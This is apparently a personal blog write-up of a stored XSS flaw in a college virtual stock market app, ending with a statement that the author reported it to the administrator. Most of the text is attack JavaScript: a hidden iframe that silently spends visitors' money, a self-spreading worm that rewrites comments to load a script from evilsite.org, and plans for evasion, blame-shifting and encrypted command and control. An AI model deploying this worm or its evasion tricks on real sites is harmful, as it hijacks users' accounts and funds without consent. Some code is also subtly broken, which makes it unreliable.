Finding vulnerabilities is fun, but following through with assessing exploitability is my favorite. This is a review of something I found very entertaining. An example of using a small stored XSS vulnerability on a simple web application to do complicated results manipulation.

Description of Application

The web-app is a virtual stock market, the money is fake, and the companies user-generated ideas. Users are given a set amount of initial-fake money (about $20,000), then they choose which ideas they like the most, and invest. The more money invested in an idea, the more the idea’s stock is worth. (The ideas must be approved by administrators before they can be traded.) Each idea also has a message board. Users can post comments on other ideas and they will appear below the idea description. Users can also vote up and down each comment. The web-app was deployed at my college with an “Improve the Learning Experience” theme for each idea. Pretty cool.

Description of Vulnerability

There was a stored XSS vulnerability in the idea message boards. Some HTML markup is allowed in a comment, but most elements are stripped via a tag whitelist. The input validation works pretty well, however there is an implementation problem. The web-app allows each comment author a 15-minute window to edit or remove their comment. Unfortunately there is no input validation on the message edit form.

Exploitation Fun

I had a mildly successful idea on the market which was struggling around 2nd and 3rd place. The 1st place idea creator was said to win an iPad. I wanted 1st place oh so badly, so I started thinking. The first round of exploitation involved storing JavaScript to make each visitor invest all of their money into my stock, silently.

<iframe id="notme" src="//example.com/allideas/trade/id/{my_idea_id}" width="1" height="1"></iframe>

setTimeout(“buyStock()”, 2000); function buyStock() { var fe = document.getElementById(‘notme’).contentDocument; var eles = fe.getElementsByTagName(‘td’); var inps = fe.getElementsByTagName(‘input’); //number of stocks to purchase var calc = inps[5]; //pre-calculated number of affordable stocks calc.value = eles[12].innerHTML; fe.form.submit(); //profit, literally }

setTimeout("buyStock()", 2000);
function buyStock() {
  var fe = document.getElementById('notme').contentDocument;
  var eles = fe.getElementsByTagName('td');
  var inps = fe.getElementsByTagName('input');
  //number of stocks to purchase var calc = inps[5];
  //pre-calculated number of affordable stocks calc.value = eles[12].innerHTML;
  fe.form.submit();
  //profit, literally
}

Now I can post this comment to my idea’s message board. Then, any unknowing users will invest all of their money into my idea just by reading the description. The web-app complains about JavaScript if it is not enabled, so we don’t have to worry too much about incompatibility. This exploit has some flaws, one: it requires the user to visit my idea’s description, two: it doesn’t work well for users who have all of their funds invested, and three: it is very obvious that I am exploiting innocent users.

Let’s improve it by adding a propagation method (here comes some fun).

function comment(target_id) {
  //create an iframe to view the target idea
  var f = document.createElement('iframe');
  f.src='http://example.com/allideas/view/id/' + trade_id;
  f.setAttribute('id', 'nm');
  document.body.appendChild(f);
  //reference the content document of the target idea page
  var fe = document.getElementById('nm').contentDocument;
  //enumerate all <p> tags
  var links = fe.getElementsByTagName('p');
  for (var i = links.length; i > 0; i--) { 
    //if we see a {secret_id} we stop, this idea is already infected
    if (links[i-1].innerHTML.indexof("{secret_id}") != -1)
      return;
  }
  //enumerate all <textarea> tags
  var tas = fe.getElementsByTagName('textarea');
  tas[0].value = 'Nice Post';
  //post a comment
  fe.form.submit();
}

function infect() {
  //reference the content document we created earlier
  var fe = document.getElementById('nm').contentDocument;
  //comments are enclosed by <p> tags
  var links = fe.getElementsByTagName('p')
  var link_id = -1;
  //search for the 'Nice Post' comment we posted
  for (var i = links.length; i > 0; i--) {
    if (links[i-1].innerHTML == 'Nice Post') {
    //record the ID assigned to the comment
    link_id = links[i-1].parentNode.parentNode.childNode[1].innerHTML;
    break;
  }
  //create a new page to edit the comment
  var f = document.createElement('iframe');
  f.src='http://example.com/allcomments/edit/id/' + link_id;
  f.setAttribute('id', 'nm2');
  document.body.appendChild(f);
  fe = document.getElementById('nm2').contentDocument;
  var tas = fe.getElementsByTagName('textarea');
  //change our comment to include exploit code
  tas[0].value = "var s = document.createElement('script');" +   
    "s.src='//evilsite.org/script.js¬e={secret_id}';" + 
    "document.body.appendChild(s);";
  fe.form.submit();
}

min_id = 0; //minimum ID to infect
max_id = 200; //maximum ID to infect
target_id = Math.floor(Math.random()*(max_id-min_id)) + min_id;
//post a comment
setTimeout("comment(" + target_id + ")", 500);
//edit that comment to include this viral payload
setTimeout("infect();", 2000);
//do what it do, baby
setTimeout("buystock();", 2000);

Now the injected code is viral. After some time, every idea will contain the call to the external script which infects and buys stock in MY idea. “Hello 1st place!” The script can be further improved by enumerating all the stocks a user has and selling all their shares, here’s some pseudo-code:

stock_ids = findInvestments();
for (var i = stock_ids.length; i > 0; i--)
  sellstock(stock_ids[i-1]);
comment(target_id);
infect();
buystock();

Problems one and two are solved, but what about three? How do we avoid detection. We could select a patient-0 to begin the viral infection (just search for another user who leaves their terminal at the computer lab or library). Although the code cannot be attributed to me, it is still obvious who is benefiting from the exploit. After it is all done and injected there is still motive. Just look at the idea everyone is silently and forcefully investing in! Now here’s where I needed to use my thinking cap: how do I benefit from the exploit, without making it obvious that I’m benefiting?

Let’s dig a bit deeper into the site mechanics: users can play the market by buying low and selling high. I can still “win” aka make my idea the top idea by playing the market and amassing a large amount of money. Then I’ll invest all of my earned money into my idea. Well, once my viral exploit consumes all idea message boards, I’ll have control over the market. Let’s call the interworking of exploit code on every client the exploit-system. All I need is a variable target “idea” mechanism to force investors to buy stocks in ideas I’ve previously invested in, while low. Then I sell the stocks I bought after everyone has invested. This plan may also be flawed if the administrator checks to see who invested in the target idea first. I could mount an argument for why I thought the target idea was the best, post a lot to the message board, and similarly invest everything I have. But then, what would be my reason for withdrawing all of my money? Winning of course!

I can complicate the scheme a bit to avoid suspicion by introducing proxies. I can pick a set of users to distribute the money amongst. This can be done by collaborating with the proxy users offline or by observing their idea comments to guess their investments (but they must be loyalists). Remember, once the exploit goes viral I can control the entire market (by adding some external input to the exploit-system). So if I guess wrong, it’s not a big deal, as long as everyone continues to use the site. Then, after all the confusion has settled, I can have my loyalists change their investment habits and invest in my idea. Essentially a pyramid scheme with my idea on top, with one level of abstraction. Still to obvious that I’m the user exploiting?

Figure 1: A partition of users will be called the winning group.

Or, and bear with me on this, I could: partition the set of users who own ideas into small groups. Then select one of these partitions as a winning group. Using figure 1, the winning group is the set of blue circles, and the exploited users are the black circles, I’m the green circle. Every few days the winning group will rotate. The winning group will have their ideas targeted by the exploit-system, such that the exploit will force all users to sell their owned shares and invest in the ideas of the winning group. The black circles will have their money invested into the ideas owned by the blue circles. Eventually I will fall into the winning partition, as in figure 2, and at this point the script will “break”. The motive will be hidden since it will be unclear who is benefiting (or what is even happening). I’ll then have to make sure my idea is the best within my partition of winners.

Figure 2: The winning group rotates, and eventually includes me.

Breaking, or halting the exploit-system involves a signaling mechanism. Since the code is loaded in clear-text on the client’s machine we assume it will not be tampered. (We assume because that is the best we can do.) Thus we should align the signaling algorithm with a similar assumption, else the client will cease the exploit-function and not worry about tampering with the signal. What we must protect is the means of signaling, such that an initiated user cannot bring down the functionality of the exploit-system. Only I should have that power. I propose using a modified version of Bellcore’s S/BOX or Lamport’s scheme to embed encrypted command and control (C&C) checks in the exploit payload. The exploit can then contact an external C&C resource which will respond with a S/BOX iteration. The modification of S/BOX utilizes a set of possible decryption keys per-iteration. Such that I can say continue, select again, or break. Each day the S/BOX will move an iteration, based on my wishes. An eavesdropper will only have the power to perform a replay-attack. Since the exploit-system is asynchronous (clients check in at different, and unknown, times), replay-attacks are moot. The per-day message is repeated each time a client checks the C&C, the same function as a replay. The contest only lasts 60 days so 60 rounds of S/BOX is more than enough. Using S/BOX allows us to create an pseudo-ephemeral, unpredictable, decryption key. Such that an attacker cannot signal a break before I choose to do so, and they cannot change the meaning of a C&C message response since they cannot guess either of the other possible decryption keys. An attacker can deny service to the C&C server, but it is unlikely that they can do so for the entire set of web-app clients.

While on the topic of exploit-system threats, other than the system administrator, we should consider protection mechanisms against other system attackers. Now these protections will only make it more difficult for another attacker. Our goal is not code protection or hiding, there are tons of examples of how to obfuscate/hide JavaScript code, most are trivial to de-obfuscate. And remember, we are boot-strapping the exploit payload by including a remote JavaScript source, so we can add some metamorphic behavior along with obfuscation to better protect the payload logic.

Two concerns: subsequent injections will be executed after my injection, JavaScript runs from top-to-bottom. Subsequent same-named functions will overwrite my injected functions. Now we can work around these two properties by dynamically writing function names, such that no injection can overwrite them:

var function_name = "random_string" + "buyStock" window[function_name] = function() {
  //code
}
setTimeout(function_name + "()", 2000);

I’ve experimented with a few techniques on how to protect against proceeding code execution. It may appear that we can remove their code by removing all “script” elements before boot strapping ours:

var scripts = document.getElementsByTagName("script");
for (var i = scripts.length-1; i > 0; i--) {
  scripts[i-1].parentNode.removeChild(scripts[i-1]);
}

In this code we skip the last “script” element since that will be the last rendered script, the one that is executing the code. However, it will not know of any script elements further down in the DOM. (And that is where the other attacker’s code will live.) If we set this code to execute later (such as document.body.onload) it will be too late as another attacker’s inline code will have executed, potentially deleting ours. So the above code will NOT work for my purposes. Setting a timeout and creating an infinite loop will not work since JavaScript does not have multi-threading capabilities. (Note: for-real, you can program pseudo-threading in JavaScript, but that’s not legit, an infinite loop will crash the page.) Why do I even care about code executing after mine? An attacker could iterate through window’s elements and remove my functions:

for (var i = window.length; i > 0; i--) {
  if (typeof window[i-1] === "function")
    window[i-1] = null;
}

Seems like I would be better off if my injected code ran last? If there were some way to halt execution in JavaScript I could protect my exploit code, but throwing an exception or JavaScript error will not accomplish this in every browser. But for good measure a “t_hrow new Error(‘nope’);” could be appended to the end.  I’ve also experimented with freezing DOM additions with “_HTMLElement.prototype.appendChild = function(){}” but this does not work in most browsers. One could also store the contents of document.body.innerHTML and parse out all “

So how do we stop JavaScript execution? Now this is a bit hackish, but we can prevent the client from seeing anything on the page (including subsequent attacker injections) by writing a faulty DOM:

document.write("<script>");

This fault halts the execution of code and additions to the DOM, below the statement. Our dynamically generated functions, and the timeouts set for their execution, will still run. This was tested using Firefox 3.6, Chrome 8, and Safari 5. This works because, as mentioned above, when the browser is executing the inline JavaScript code (wrapped in an anonymous function) it has not rendered/processed the proceeding HTML/Javascript code. We cannot trigger a fatal error that will halt JavaScript execution, but we can mangle the DOM and prevent the addition of future elements. To make sure my code runs first on the idea message board, I can edit the propagation/infection code to always add a comment on the first message made to an idea’s page.

Being Responsible

Instead of releasing the viral exploit code I informed the web-app administrator of the vulnerability in the edit post function. (After testing the first round proof-of-concept code, then deleting the offending comment.) I also showed them that I could include scriptlets in links posted in idea descriptions to accomplish almost the same behavior. I could almost guarantee a link click with a bit of social engineering. Super fun!